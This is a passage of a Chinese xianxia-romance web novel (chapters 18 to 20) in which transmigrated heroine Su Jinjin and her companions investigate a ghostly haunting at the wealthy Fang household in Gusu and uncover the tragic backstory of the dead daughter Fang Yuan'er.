妇女直起身,目光扫到林怀烟的身上,双眸微微放大,憔悴的面庞浮现出一丝难得的喜色。
“这位便是林方士?”
林怀烟规规矩矩地行了个礼:“在下林怀烟。”
身后又跟上个男人,一手搂着妇女,一手牵住小女孩的手。
小女孩一手握着纸鸢,带着些怯意,又忍不住好奇频频望向几人。
几人望着小女孩怯懦的神色,方夫人一把将小女孩护在自己身后,随即笑看着几人。
“姝儿有些怕生,几位别介意。”
“林方士,你好你好。”
“老夫方无池。”
方无池拍了拍胸脯,上前几步,眼角的皱纹挤在了一起。
“天色尚晚,不如几位去方府再好好谈谈?”
*
方府的丫鬟们已摆了一桌的菜肴,色泽诱人。
赶了一天的路,苏锦锦此时如饿狼般虎视眈眈地盯着盘中的美食。
几人落了座,吃起饭来,方才的疲惫一扫而空,又欢快起来。
苏锦锦舀了一勺汤,美滋滋地喝了起来,身体也不自觉轻轻晃动起来,又喂了勺汤递到灵狐的嘴边。
这些日子,共同经历生死患难后,两人倒像是战友。
有时候,苏沐风甚至觉得灵狐对苏锦锦比他都亲,又低下头轻笑了一声。
林怀烟与苏沐风笑看着苏锦锦,时晏清闷头吃着碗中的米饭,目光却不自觉频频向这边飘来。
方无池放下银箸,神色有些凝重。
方无池本是江南一带有名的富商,与方夫人恩爱有加,两个女儿也可爱的很。
本是美好的一家,可五年前,大女儿方愿儿被山匪掳走,凌虐至死。
自此,这件事也成了方府一家心中的一根刺。
最开始,方无池与方夫人时常自责愧疚,却已物是人非人去楼空了。
再后来,方夫人以泪洗面,开始频繁地做起噩梦。
午夜惊醒时方无池轻轻拍着自家夫人的背,方夫人便窝在方夫人的怀里痛哭,口中呢喃着对方愿儿的愧疚。
“我,我又梦见愿儿了。”
可一年如此,两年如此,整整五年了却日日噩梦缠身。
方无池本不信鬼神一说,却也舍不得见自家夫人如此悲戚,整日以泪洗面,故此才特意麻烦远在长安城的林怀烟前来收妖。
整日以泪洗面,难怪方才瞧见方夫人的模样如此憔悴。
方无池随即重重地叹息一声,望向自家夫人,满眼都是心疼。
“本想着,三日后的花灯大会,带着夫人出去转转,希望她心情能有所好转。”
苏沐风微微蹙了蹙眉,随即开口:“三日后?四月二十三?”
“对,各位是外城人,可能不知道。”方无池顿了一下,又开始解释道,“姑苏城每年的四月二十三,便会举行一场花灯大会。”
“届时便可上街赏花灯,还会特许放烟花。”
“四月二十三,正是锦锦的生辰。”
苏锦锦坐直了身子,没想到原主与自己的生辰都是同一日。
方无池面露喜色,笑看着几人道:“与苏小姐同一日,看来是天赐的缘分啊。”
*
四人凑在苏沐风的客房内,灵狐懒散地趴在苏锦锦怀中。
苏锦锦一手顺着灵狐柔软的毛,一手拨弄着橡木梳子。
灵狐时而微眯起眼睛,时而又似只猫般慢悠悠舔起爪子。
苏沐风端坐着,一手摩挲着下巴,神色有些凝重:“这一路上,竟没感受到任何妖气。”
林怀烟同样认真地思考着,目光落在地面:“莫非是鬼?”
苏锦锦拨弄橡木梳子的手一顿,梳齿拨动的响声戛然而止,凉意从指尖蔓延到脊髓,此刻感觉后背凉飕飕的。
“你们别吓我。”
时晏清有些好笑地看着苏锦锦:“苏小姐还真是认真且怂。”
苏锦锦抬头与时晏清视线相撞,讪笑几声掩饰内心的尴尬:“其实我不怕这些的。”
随即,又弱弱地补了一声:“真的。”
时晏清眼尾上挑,一双桃花眼似笑未笑,定定地望着眼前略显心虚的少女。
林怀烟与苏沐风的思绪并未被两人的谈话打断,又忆起了今日初见时方姝怯懦懦的神态,不由得对方无池与方夫人的话产生了些许疑惑。
“若是鬼,不转世投胎而日日缠着方府一家,恐怕只能是—”
“厉鬼!”
“哇—”的一声,苏锦锦叫了起来,在这凝重的气氛中,不禁吓了几人一跳。
窝在苏锦锦怀里的灵狐也被吓醒,掉在了地上,耷拉着眼皮,抬头幽怨地盯着苏锦锦。
林怀烟安抚般摸了摸苏锦锦的肩,努力扬起一个微笑。
“没关系的锦锦,厉鬼一般不伤人,何况方愿儿是含恨而终,或许是想让我们替她完成生前的某个心愿罢了。”
苏锦锦眨了眨杏眼,又不好意思地点了点头。
苏沐风与林怀烟又迅速陷入了思考中,苏锦锦也难得的安静下来。
“或许是方愿儿生前遭受过伤害,死后阴魂不散,便停留在方府久久不投胎?”
“先前方无池同我们道她女儿是被山匪劫走,凌辱致死的。”林怀烟顿了顿,“若是方无池所言半真半假,方无池有意害死自己亲身女儿呢?”
苏沐风为这个素不相识的姑娘也感到几分同情:“若是如此,不如这几日观察一番。”
几人各自回了客房,苏锦锦看小说中的鬼怪倒没有多大的感触,津津有味,此刻想起身侧有只长发厉鬼阴魂不散便吓得要命。
苏锦锦三步并作两步,快步走进了客房,悄咪咪地关上门,脱下桃粉色的外袍,身着雪白中衣便一股脑把自己裹进了被褥里,只留出一双大眼睛滴溜溜转着。
烛光微弱,明月当空,姑苏的风虽柔和,此刻苏锦锦也只觉格外刺骨。
晚风拍打在窗棂上,吱呀作响,好似方愿儿的低吼,苏锦锦又将自己裹得更紧了些。
或许是心理作用,苏锦锦倒听见了方愿儿低低的啜泣声。
苏锦锦眼睛丝丝盯着窗前,蓦地,窗前一个黑影闪过,苏锦锦心里喊了一万遍系统。
“系统?系统?”
“可以保护我吗?”
但此刻系统好似掉线了般,对苏锦锦的呼救视为不见,苏锦锦只好认命般躺在床上
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。
黑影墨色的发丝摆动,露出张白皙的脸。
苏锦锦的尖叫还未冲出喉咙,便被来人扼杀在了脖颈里。
微弱的烛火照亮了来人的脸,正是时晏清,苏锦锦鼻尖萦绕着那股熟悉的茉莉花香,这才稍微安下心来。
“时晏清?”
苏锦锦坐起身,雪白中衣松松垮垮系着,墨色的长发懒散地躺在肩头。
“你大半夜不睡觉装神弄鬼干什么,吓我一跳。”
苏锦锦语气幽怨,渐渐放下了紧握蚕丝被的手,又带了些不满地瞪了眼时晏清。
身侧的少年倒不恼,熟稔地翻窗,走到案几旁,替自己斟茶。
“倒是苏小姐,大半夜大呼小叫干什么。”
苏锦锦对这种日常的拌嘴早已习以为常,抚了抚胸口,强压下心底的恐惧。
时晏清半晌才张开手,掌心处是昨日为他编的柳条手环。
此刻柳条手环断开,成了条四分五裂的柳条,可怜兮兮地躺在时晏清的手掌中,仰头望着苏锦锦。
“坏了。”
时晏清淡淡吐出几个字,手掌还悬在半空。
苏锦锦颇有些无语地看着时晏清,掸了掸被褥:“断了就断了呗,明日我再为你做个新的,时公子快些回去吧,我要休息了。”
此刻的苏锦锦无比痛恨白日灵机一动的苏锦锦。
话音未落,苏锦锦便一股脑儿钻进了被褥中,发出窸窸窣窣的响声,阖上眼帘。
半晌,并未听到翻窗的动静,苏锦锦强忍着困意睁开一只眼。
眼前少年站立如松,定定地站在原地,久久未曾离开。
时晏清执拗,苏锦锦深知今日不做是不能睡觉了,便认命般爬起来。
“时公子?”
“没有柳条了,我也不会术法,还是明日吧……”
眼前黑影一闪而过,又猛的回来,快的苏锦锦还未反应过来,瞪圆了一双杏眼。
时晏清手掌又多了些新鲜的柳枝,顺着白皙的手掌,是线条分明的小臂,不过此刻上多了几排血珠,挂在小臂上像是红水晶手链。
苏锦锦意识混沌的大脑终于清醒了几分。
时晏清察觉到苏锦锦的目光,另一只手猛的握住伤口,背过身去,卷起一阵风,吹动苏锦锦额前的人碎发。
苏锦锦只觉眼前的人神秘得可怕,这程度放在现代怕是得查出重度抑郁症来。
苏锦锦扯过柳条枝,不紧不慢拖沓地走到桌前,低着头迷迷糊糊做起来。
苏锦锦手巧,上学时注意力就不集中,总是喜欢鼓捣些小玩意,对于这柳条手环,自然也不在话下。
看着完美的杰作,苏锦锦又欣喜地笑起来,即使身穿雪白中衣,却也遮盖不住她的甜美。
柳条不细不粗,根茎从内到外都是绿色,叶片嫩嫩的,在烛火下倒着看,还能得见清晰可见的叶脉。
苏锦锦将柳条手环递给时晏清,粉白的手掌与柳条手环形成了鲜明的对比,时晏清慢慢接过柳条手环,带在手腕处,翻窗又离去。
苏锦锦看着时晏清的背影,又默默爬回来床上,小声嘀咕着以报不满。
这人真是,非得叫人半夜爬起来为他做个手环。
【系统提醒:待攻略对象时晏清好感度上涨2%,目前好感度30%】
算了,一个破手环换2%的好感度,也不亏了。
苏锦锦又躺下身,眯起眼睛,帐中弥漫着若有若无的桃花香,令人安心。
18. 送信
昨夜一番折腾,苏锦锦稍显倦容,耷拉着脑袋走向楠木桌,一点精气神都没有。
方府无愧于江南富贾,昨夜来得匆匆,还未仔细打量下方府,所见之处,无不透露出精贵。
院内梨花开了满枝,花瓣似雪般纷纷落下,铺撒成一场浪漫的梦。
苏锦锦打个哈欠,随后视线扫到楠木桌上可口的菜肴,双眸微微瞪大。
方府的早膳便八菜一汤,可谓真真是富得只剩银子了。
有了美食,苏锦锦一双杏眸又亮了起来,昨夜的疲惫一扫而空,喜滋滋地坐在桌前。
方姝从屋内走出,嘟着嘴揉了揉惺忪的睡眼。
倒是个可爱的小女孩,听阿爹阿娘道几位是斩妖除魔的英雄,早已无了初见的怯懦,对待几人的神色都带了几分敬意。
到底还是小孩子,自小便向往着话本子中斩妖除魔替天行道的英雄好汉。
方姝的视线扫过桌上的菜肴,眼睛冒着星光,冲着方夫人甜甜地笑。
此刻方夫人憔悴的面庞也难得地浮现了几分喜色,眉眼间染上母爱的柔情,招呼着手舞足蹈的方姝。
“开心啦?都是你喜欢的菜。”
方姝重重点点头,望着眼中满是宠溺着她的娘亲。
“娘亲怎么知道的啊?”
方姝的声线带着些奶气,此刻甜甜的,苏锦锦看着小女孩,心都要萌化了。
“因为我是你娘亲啊。”
方夫人自然地摸了摸方姝的头,又转过头笑看着几位示意动筷。
方无池也宠溺地看着二人的互动,苏沐风与林怀烟的目光紧紧锁在几人身上,不敢有片刻的松懈,面色沉重。
方无池视线收回,看着碗中的菜,神色又黯淡下来,低垂着头:“若是愿儿还在的话…”
后面的话未再说下去,方夫人摸着方姝的手也渐渐垂了下来,双手交叠放在腿上,眼神呆滞地望向地面。
“没事啊,爹爹娘亲,还有姝儿在呢。”
小女孩一手握着碗,一手握着银箸,眨着一双乌黑的眸子,一脸期待看着两人。
本以为会得到两人的喜悦,方夫人却只是摸了摸方姝的脑袋,示意她快吃饭。
小女孩翻着碗中的饭,眼底是一闪而过的失落。
一顿饭下来,寂静无声,各自吃着自己的饭,只有苏锦锦喜滋滋的,好像什么事情都阻止不了她吃饭的心情。
方无池骤然开口:“各位方士昨夜在府内歇的可还好?”
看似询问,实际上却是想问几人方府是否有污秽之物。
这老头还是精的很。
苏锦锦内心里不满地抱怨着,还愤愤地用银箸戳了戳碗中无辜的米饭。
林怀烟眉头微蹙,隐忍许久,终是没开口。
苏沐风神色如常,淡笑着开口:“一切安好,至于噩梦之事还需些时日调查。”
方无池突然恭敬起来,对几人更是客气:“劳烦几位了。”
苏锦锦回了屋,从包袱中取出前些日替小禾写的信。
时晏清正打量着苏锦锦手中的信,有些迟疑。
“苏小姐这才刚到姑苏,信都写好了?”
苏锦锦抬眼看着时晏清,会意他是误会了什么,不紧不慢地将信件折起来揣在怀里。
“不是,这是小禾托我给她爹娘捎的信。”
“正好碰碰运气,去问问方府的事,时公子一起吗?”
时晏清未做回答,脚步倒是飞快地跟了上去。
四月末,茉莉香,姑苏的茉莉香与时晏清身上的香气混为一体,苏锦锦凑近些嗅了嗅,竟诧异地好闻。
苏锦锦带着身后的时晏清,兜兜转转,根据小禾给的地址,走到西街尽头一户人家门口。
木门隐隐传来些潮湿的味道,门口的把手已生了锈,几株茉莉花探出墙,悄咪咪地观察着一切,苏锦锦略带迟疑地敲了敲门。
良久,一位妇人开了门,佝偻着背,面色显得有些憔悴。
这便是小禾的娘,分明与苏夫人年纪相仿,却因着劳作苍老得像垂暮老人。
妇人眯了眯眼,打量着两人,缓缓开了口,声线有些沙哑:“你们找哪位啊?”
苏锦锦递过怀中的信,道出早已准备好的说辞。
“我是镇远侯府苏小姐,苏锦锦,您便是小禾的娘亲吧。”
妇人一听说来人,笑弯了眼,连同褶皱也在苍老的眼角舞动了起来。
“是我,是我。”
“快进快进。”
苏锦锦坐在院内,打量着庭院。
庭院很小,却打理得井然有序,几株茉莉花点缀着院子。
小禾娘替苏锦锦斟了杯热水,白气氤氲,模糊了她的神色。
苏锦锦良久似乎反应到什么,接过那封信,笑眼盈盈地开口:“大娘,要不我替你读吧。”
小禾娘眯了眯眼,笑呵呵地点了点头。
少女声线甜美,读到夸奖自己的那段时,身侧的时晏清轻笑出声。
苏锦锦倒也不恼,回眸嗔怒地瞪了眼他便继续读下去。
读到最后,苏锦锦将宣纸递给小禾娘。
小禾娘打开信,摩挲着宣纸,好似摩挲着那个坚强女孩柔软的心。
她的泪落在宣纸上,晕染开来成了一朵花。
良久,也不知为何,小禾娘站起身要给苏锦锦下跪,苏锦锦吓了一跳,不知所措地紧忙扶住她。
“苏小姐,我们一家真太感激你了。”
小禾娘嘴唇连带着声线都有些颤抖,抬手摸了摸眼角晶莹的泪花。
“若不是小禾到了镇远侯府,我们一家都抵不过那场大旱了。”
苏锦锦一时被弄得不知所措,好不容易扶着小禾娘亲坐下,四处张望,却迟迟不见小禾弟弟与她爹。
“小禾的弟弟呢?”
苏锦锦四处张望着,妇人淡淡开口,嘴角扯出一抹笑:“他弟弟在屋睡觉呢,晌午就出来帮我干活啦。”
提到小禾的弟弟,妇人才面露喜悦。
“她爹呢?”
苏锦锦回眸看向时晏清,后者则神色自若,一双桃花眼似笑非笑。
小禾娘垂下眼睫,摇了摇头,轻叹一声:“她爹啊,那年大旱就走了。”
随即又顿了一下,补了一句道:“吃不饱饭,饿死的。”
小禾娘神色淡淡的,听不出喜怒哀乐,气氛一
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瞬有些冷清。
苏锦锦粉嫩的唇瓣动了动,率先打破沉寂的气氛:“我们此次托人办事前来姑苏,想问大娘个事。”
妇人双眼放光,质朴的脸上微微透露出一丝雀跃:“小姐问,凡是知道的我都告诉小姐。”
苏锦锦环顾四周,压低了声线:“不知大娘知不知道五年前方府惨案。”
提到方府,妇人的表情又凝重了几分:“方府啊……”
“她家大姑娘心悦咱们这的探花郎,好像姓沈吧,叫……沈俞。”
“她爹不许,跟她家里人闹了好大一通脾气,非让她嫁谢家公子。”
“谢府出身名门,她家姑娘与谢公子也算是郎才女貌,可她就是不肯。”
“听闻是两人准备私奔,她家姑娘却在道上被山匪掳走,凌辱致死。”
妇人的声线越说越淡,面色上还带着些惋惜。
苏锦锦回眸与时晏清对视,此刻小禾娘亲的一番话,更是印证了两人昨夜的猜想。
苏锦锦起了身行过礼便同时晏清离开,到了门口,小禾娘突然叫住两人。
“小姐,劳烦捎句话,告诉小禾家里一切都好,不用她操心。”
“还有—”小禾娘顿了一下。
“多留些银子给自己花。”
苏锦锦心底生出一种异样的情绪,眨了眨干涩的眼眶,唇角含笑郑重地点了点头。
木门吱呀一声被推上,茉莉花在柔和的春风中晃了又晃,苏锦锦也难得地陷进了思考中。
“你说,那方无池与方夫人既然亲自将自己亲生女儿送上了死路,按理说,这种事,越是悄无声息,不为人知更好,为何还要大费周章请我们从长安城来,打草惊蛇,多此一举。”
时晏清跟着苏锦锦走在前面,眉梢微挑:“远不止噩梦这么简单。”
姑苏的风柔柔的,拂过耳畔惹得人心痒痒的。
时晏清的影子也随日光摆动着,阳光和煦,天气晴好。
苏锦锦踩在时晏清的影子上,不亦乐乎。
眼前少年不知何时驻足了脚步,苏锦锦撞上一个宽广的肩,时晏清身形瘦长,苏锦锦被撞的向后退了一步。
苏锦锦轻柔着自己稍被撞疼的鼻尖,脸上有了愠怒之色,又想起自己没理,脑袋又耷拉下去。
时晏清回头,俯视着苏锦锦,睫羽打下一小片阴影。
“苏小姐是想踩影子还是想踩我啊。”
苏锦锦撇了撇嘴,骤然抬头与时晏清对视,时晏清目光错开,瞥向远方。
“不好意思嘛。”
见时晏清不语,苏锦锦歪过脑袋望着眼前少年的神色,眉梢挑了挑。
“生气了?”
“没有。”
“真没生气吗?”
见少女似小麻雀般喋喋不休,时晏清唇角动了动。
“没有。”
时晏清注视着前方,就是倔强地不肯与苏锦锦对视。
想不通,干脆就不想。
苏锦锦瞥过头去,扯了扯嘴角,不再理会这个阴晴不定的少年。
两人又慢悠悠地走着,时晏清也不知为何,对待这个小姑娘总因着莫名的自卑而贸然无礼。
19. 梨鸢
梨花簌簌地开满枝头,几片花瓣轻轻落下,飘在苏锦锦的手心,泛着一丝春意,又惹人喜欢。
天气晴好,苏锦锦哼着歌,同时晏清走在回府的路上。
两人在府门撞见刚上街买黄纸回府的林怀烟与苏沐风。
几人驻足原地,相视一笑,又踏入府门,此刻却瞧见个陌生的面孔。
少女端坐在庭院的梨花树下,纷纷花瓣铺了一身,手中握着一卷诗书,与雪白襦裙倒显得十分融洽。
几人脚步齐刷刷的一顿,方姝从里屋跑出,手中攥着几片梨花瓣,瞧着眼前的少女还欢快地蹦起来。
方夫人从里屋迈着碎步急匆匆走出,目光扫在方姝和少女身上,神情一怔,迟迟没回过神来。
方姝回头望着方夫人,梨花瓣在手心已被碾碎,流出带着芳香的汁液,方姝的笑容肉眼可见地耷拉了下去。
“娘亲,这是梨鸢姐姐,从长安城来的,被山匪骗了银子,姐姐好可怜,可以在府中留宿几天吗?”
少女握着诗书的手不自觉紧了几分,目光落在方夫人身后的窗棂上,不敢与之对视,黑眸一眨不眨。
见方夫人愣在原地,迟迟未做回答,方姝几近哀求般晃了晃方夫人的小臂,嘟着嘴撒着娇。
“娘亲,梨姐姐真的很可怜,就收留她几日吧。”
“好不好嘛,娘亲。”
方姝眨着一双大眼睛,很是可爱。
瞧见方姝这番模样,方夫人笑靥如花,点了点头,默许了方姝的请求,便引着梨鸢带到主角团隔壁的客房歇下。
苏锦锦与时晏清立即将方才小禾娘亲的一番话讲述给了二人。
苏沐风神色凝重,连带着周遭温和的气度也少了几分。
“若小禾娘亲所言不假,那便是方府一家有猫腻,强逼着亲身女儿嫁给不喜欢的人,郁郁而终。”
苏锦锦的神色也黯淡下去,杏眸似有秋水,含着哀戚:“可这闺阁小姐的命运好似被安排好,嫁给一个陌生的人,相敬如宾地过完一辈子,对于她们来说,一定就是良婿,一定就幸福吗?”
时晏清站在苏锦锦身侧,垂着头看着神色认真的少女。
林怀烟神情明显一动,定定地望着苏锦锦出神,又扭过头不自觉地看着身侧如沐春风的苏沐风。
在这乱世下,遇见真正对的人,携手一生,才叫幸福。
苏锦锦的一番话也令在场各位有些惊讶,因着在这三教九流,女人相夫教子的封建时代,苏锦锦的思想似乎有些过于超前,是所有人没想过且不敢想到的方面。
“不过这梨鸢又是从何而来,说是从长安远道而来,可并未听闻此人。”
时晏清自然地揉了揉苏锦锦毛茸茸的脑袋:“那长安城那么多人家,你倒是记性好,家家都能记得住。”
方才还觉得眼前的少女是否被夺舍了,如今看来苏锦锦还是时而糊涂,时而机敏。
时晏清摸着苏锦锦的脑袋,手感挺好,又趁机摸了一把。
苏锦锦回头看着在她脑袋上胡作非为的人,扯了扯嘴角,回眸愤愤地瞪了一眼时晏清。
有苦不敢言,有气不能撒。
“不过这梨小姐身上沾染了些妖气,近些日子还是警惕些为好。”
苏沐风含着笑,微微点了点头。
苏锦锦顺着苏沐风的话,脑海中浮现出初见梨鸢时的场景。
*
晚膳时,方夫人一手抱着方姝,一手握着银箸为方姝夹着菜。
方无池落座,看着母女二人温馨的画面,托着腮,侧着头,唇角不自觉上扬。
梨鸢坐在一旁,扒着碗里的米饭,眼神不再频频向几人瞥去,只是默默吃着碗中的饭。
方姝忽的挣脱了方夫人的怀抱,在几双眸子的注视下,一路小跑向楠木桌另一侧的梨鸢。
梨鸢宽大的袖子被一只小小的手拉住,因着力道,夹菜的动作也停在半空。
梨鸢少见地温柔低下头去,认真地盯着方姝的眸子。
“梨姐姐,你真的是从长安城来的吗?”
梨鸢眼神瞥过再场各位,垂下眼睫,含着笑轻轻点了点头:“对啊。”
此刻,几人第一次听见梨鸢的声线,清冷而温柔。
轻轻地,不真切,又好像在耳边低语。
“长安城是什么样子的啊?”
小女孩抬着头费力地望着梨鸢的神色,澄澈的眸子里藏不住孩童的期待。
梨鸢如方夫人那般轻柔地摸了摸方姝的头。
“长安城啊…”梨鸢忽的顿了一下,又自顾自说起来,“长安城很繁华啊,灯光阑珊,热闹非凡。”
主角团不禁皱了皱眉,梨鸢的回答有些过于中肯,如同话本子里对于长安城的描述一般,总觉得透出丝丝异常来。
方姝听见一成不变的回答,面上失落的神情一闪而过,又迈着小腿回到了娘亲身侧。
梨鸢抬起头来,视线扫过方夫人与方无池,又郑重起来:“早就听闻方夫人还有一位女儿,比方姝妹妹大……”梨鸢摩挲着手指,又缓缓开口道,“叫方愿儿吧,怎么不见她来。”
梨鸢眼神清澈,正是少女时期的纯洁与美好,令几人美得忘记了回答。
初见时,梨鸢静静端坐在梨树下,握着书卷,好似画里出来的仙子,美的有些不自然。
若不是林怀烟与苏沐风说感受到了那淡淡的妖气,苏锦锦倒真以为梨鸢是哪个神仙派来的仙女呢。
方夫人没什么表情,继续摸着方姝的头发,动作轻柔。
方姝似黑宝石般的大眼睛一眨不眨地看看方夫人,又看看梨鸢。
“是啊,比姝儿年长十多岁,”方夫人声线淡淡的,好似在讲话本子里的故事,“不过愿儿命不好,那么好一个小女孩,倒叫…”
依旧那熟悉的说辞,点到为止,梨鸢又垂下头去,示意了然。
一顿饭吃得异常寂静,苏锦锦舀了一勺汤,喂给趴在地上神色恹恹的灵狐。
灵狐闻了闻醇香的鸡汤,只是嘬了一小口,便又趴回了地上。
暮色低垂,几人如昨夜般相聚在苏沐风的客房。
灵狐在后头慢悠悠地走着,苏锦锦
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回头弯下身抱起灵狐,又小跑几步紧跟在几人身后。
“今天怎么了?怎么蔫了?”
灵狐微微眯起眼睛,张大着嘴巴打了个哈欠,像只慵懒的猫。
“不知道,平日里都能看见邪物生前的场景,今日见着梨鸢,只得见一团黑雾。”
苏锦锦又颠了颠,抱紧了灵狐。
晚风呼呼地吹,分明是初夏的晚风,却感到一丝微凉。
“莫非,那梨鸢真是邪物,来索命来了?”
语毕,苏锦锦倒觉得一丝后怕,打了个寒颤,加快些脚步。
苏沐风站在木门前,待苏锦锦跨入门槛,便轻巧地关上门,发出吱呀一声响,连带着屋内摇曳的烛火也抖动了几分。
林怀烟端坐着,像个不染尘世的仙女,墨色的长发用木簪绾住,几缕发丝垂落额前,与梨鸢的美有的一拼。
“今日梨鸢所言的长安城,中规中矩,说辞倒如话本子里一样。”
苏沐风走过几人身边,卷起淡淡的风:“你的意思,梨鸢并非从长安城远道而来,甚至说,她压根没去过长安城。”
林怀烟点了点头,眼睛一眨不眨地望着天花板:“或许,梨鸢是为了方愿儿而来的。”
苏锦锦被弄得脑袋有些发昏,还未反应过来,其他人的思维早已进一步推进。
“什么意思啊?”
林怀烟望着苏锦锦澄澈的眸子,含着笑又耐心地解释了一遍:“是方愿儿的怨气积攒,导致方愿儿死后的魂魄有了灵性,故而化作人形来方府报复几人。”
“小时候,阿爹阿娘曾说过,江南一带曾出没一只大妖,名唤梨妖。”
“梨妖,千年梨树修炼成精,而距离梨妖的下一层进阶,则需吞噬更多的精气。”
“而恰恰梨妖生长在龙骨山之上,不能移动,所以为吞噬精气必须答应类似方愿儿这种魂魄的某些要求。”
苏锦锦双手拖着腮,一双杏眸一眨不眨地盯着林怀烟,认真地等待她的下句。
“初见时我们感受到梨鸢身上淡淡的妖气,怕是方愿儿应了梨妖的要求,故而化作人形前来方府进行报复。”
林怀烟顿了一下,一双黑眸隐隐透露出坚定,一眨不眨地注视着前方。
“梨鸢,则是方愿儿的化名。”
“而方无池之所以以对我爹娘的救命之恩恳求我们远道而来姑苏城方府,就是想替他镇压这些妖气。”
林怀烟说这话时,眸子深邃,好似平静的湖面,不见波澜。
苏锦锦白皙的小臂平放在暗红的木桌,袖子微微挽起,一手拨弄着皓腕上的柳条手环。
柳叶没有刚采时那番新鲜了,耷拉着脑袋,苏锦锦一手便挑起柳叶,离手后似作对般又耷拉下去。
“那这方府一家也真是的,生前对自己亲生女儿百般折磨,硬逼着她嫁给不喜欢的人,死后化作厉鬼倒怕起来了。”
苏沐风神色凝重,顺着苏锦锦的话点了点头:“可若真是只因为不满父母的婚约,便母女离心,怎可能闹到如今这种地步,血浓于水的亲人也恨之入骨?”
20. 谢府
几人默契地谁也没再开口,以往捉妖时,神狐看得见邪物生前的影像,一切谜团便迎刃而解。
而此次这梨鸢的身世一团迷雾,倒叫案件迷点重重。
苏沐风垂下眼睫,瞟在了苏锦锦的皓腕处,嫩绿的柳条配着苏锦锦的皓腕,宛如上好的羊脂白玉般。
但怎么,时晏清和锦锦带的是同款?
苏沐风只怔愣了一瞬,随即展开一个意味深长的笑容。
苏锦锦走前摸了摸神狐的脑袋,柳条蹭在它柔软的毛上,痒痒的,神狐眯起眼睛,一脸享受。
“你等等我。”
苏锦锦又跟在时晏清身后小跑离开,林怀烟与苏沐风驻足原地,两人先是一愣,虽后相视一笑。
林怀烟目光落在两人离开的方向,迟迟未回过神,自顾自开口:“最开始,初见锦锦时,总觉怯生生的,并不如其他大家小姐般落落大方。”
“如今看来,是我多虑了,锦锦是个很好的小女孩。”
苏沐风被林怀烟突如其来的一段话弄得有些没头脑,也顺着她的话接着:
“锦锦心性小,爹娘同我也总把她当小孩看,也许此番游历,的确有所变化。”
苏沐风的视线落在林怀烟挺直的背上,他的烟儿,在他面前永远都是独立,温柔,自强的,随即心底泛起丝丝暖意。
“时间不早了,烟儿快回吧。”
林怀烟目光柔情似水,笑起来少了几分生人勿近的高冷,点了点头缓步离开。
*
时晏清阖上眼帘,脑海中全是白日里笑靥如花的少女,烦躁地翻了翻身。
可那身影笑着奔向他,挥之不去。
自他出生开始,除天宗先生外,对任何靠近他的人都十分抵触。
独独眼前的少女一点一滴地挤进了他的生活。
却独独是她,总在每一个意外中给予温暖。
但越是亲近,时晏清越是想躲避。
好似被冻伤的胳膊插在热水里,先感受到的不是温暖,而是刺骨的疼痛。
时晏清忽的坐起身,烛台上的烛火吹灭,冒起缕缕青烟,时晏清熟练地拿过枕头下锋利的匕首。
*
清晨的阳光丝丝缕缕地射入窗棂,透过格子样的窗户纸,暖洋洋的斜射入屋内。
姑苏的风总是暖的,连阳光也是暖的,难怪江南女子总是温婉的。
一个黑影照在窗户纸上,只得见个模糊的轮廓。
顺着苏锦锦的视线,那黑影似是感受到来人灼热的视线,消失在府中,卷起的风拍打着树枝,摇摇晃晃地照在窗户纸上。
苏锦锦内心警铃大作,翻身下了床朝着黑影离开的方向跑。
走出门,才得见那黑影,并不是黑的,而是白的,模模糊糊的轮廓看着像极了昨日来路不明的梨鸢。
苏锦锦跨出府门,急匆匆地。
方姝坐在院内的梨花树下,喊着她的名字却未得到回应,方夫人摇了摇头,领着方姝进了里屋。
苏锦锦穿梭在街上,飞快地跟着那道身影,不敢有半刻的懈怠,却险些撞倒路边的小贩,匆匆回头看了眼道声歉便继续追赶眼前的身影。
那道身影弯弯绕绕,最终在一座府邸停下,不知所踪。
苏锦锦四处张望,却并未得见梨鸢的身影。
抬头望去,牌匾挂在苏锦锦头顶正上方,明晃晃刻了“谢府”两字。
被刻的部分用金色颜料抹了上去,在日光的照耀下熠熠生辉,金灿灿地格外耀眼。
谢府,正是前几日小禾她娘提到五年前与方愿儿有婚约的那家。
苏锦锦鬼使神差地上前几步,敲了敲门,等了好半晌,冷静下来又回想起自己的冲动,踌躇着想要离开,府门先一步被打开。
吱呀一声,木门后站着一位二十出头的男子,模样还算俊俏,一身白衣,站立如松,望着苏锦锦的眸光里流露出迟疑与尴尬。
苏锦锦迈出的脚又默默收了回来,与眼前的男人面对面。
“你是…”
男人声线沙哑,苏锦锦不自觉抬眸望着他的脸。
那双本应清澈的眸子此刻却有些混沌,像浮了一层油。
若不是经历了大事,怕是被妖吸了精气。
“在下苏锦锦,镇远侯府二小姐,前来叨扰想问谢公子一件事。”
谢公子点了点头,侧了身引苏锦锦进府。
谢府质朴中透露出丝丝精贵,与方府的装修截然不同,府中的仆从打理的也井井有条。
“苏小姐可是有何要事询问在下?”
苏锦锦不紧不慢地坐下,一手握着升腾着热气的茶盏。
香炉里飘出丝丝青烟,叫人放松下来。
“此次前来,是想同谢公子询问一下五年前方府大小姐,方愿儿的事。”
提到方愿儿耳熟能详的三个字,谢怜的眸子亮了一瞬。
只一瞬,又如天边的黄昏般黯淡下去。
“愿儿啊……”谢怜话到了嘴边,顿了一下,又斟酌着开口:“愿儿同我的婚事两家父母订的……”
“不过当时她不愿,只想嫁新晋状元郎沈俞,那沈俞不是什么好人,方府一家一向惯着愿儿,吃穿用度皆是最好的,却独独不同意她与沈俞的婚事。”
苏锦锦微不可察地皱了皱眉:“方便透露一下沈状元怎么了吗?”
谢怜放下茶盏,梨花簌簌地飘,落在苏锦锦肩上,发梢上,如痴如醉。
“沈俞家境清贫,有了愿儿的扶持才熬出头的…”
“后来他上了京,做了官,当了户部尚书,便不知自己的出身了。”
说到此,谢怜低低地哀叹一声。
“五年前,姑苏大旱,百姓民不聊生,沈俞挪用了赈灾的银两,用三千两去赎了青楼的花魁。”
苏锦锦杏眸瞪大了几分,讶异之色尽显面上。
三千两,在五年前的大旱里,足够无数百姓吃穿,因着沈俞的一己私利,便枉死了无数姑苏城的百姓。
小禾的爹,也是因着那场大旱才走的。
“人一旦有了欲望,不免深陷泥潭,丧失了人格,玷污了品性。”
谢怜低垂着头,良久才又续上话:“结果那花魁和心上人跑了,沈俞走投无路下找上在自己背后默默守护多年,默默支持的愿儿。”
“不过,他找愿
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儿也只是为了借银子。”
“他知道,方府是江南富贾,银子多到花不完,而愿儿自小娇养长大,方府给她的银子自是不会少。”
“愿儿没给,两人便不欢而散。”
茶盏升起热腾腾的白气,氤氲了空气,也氤氲了谢怜的眼眶。
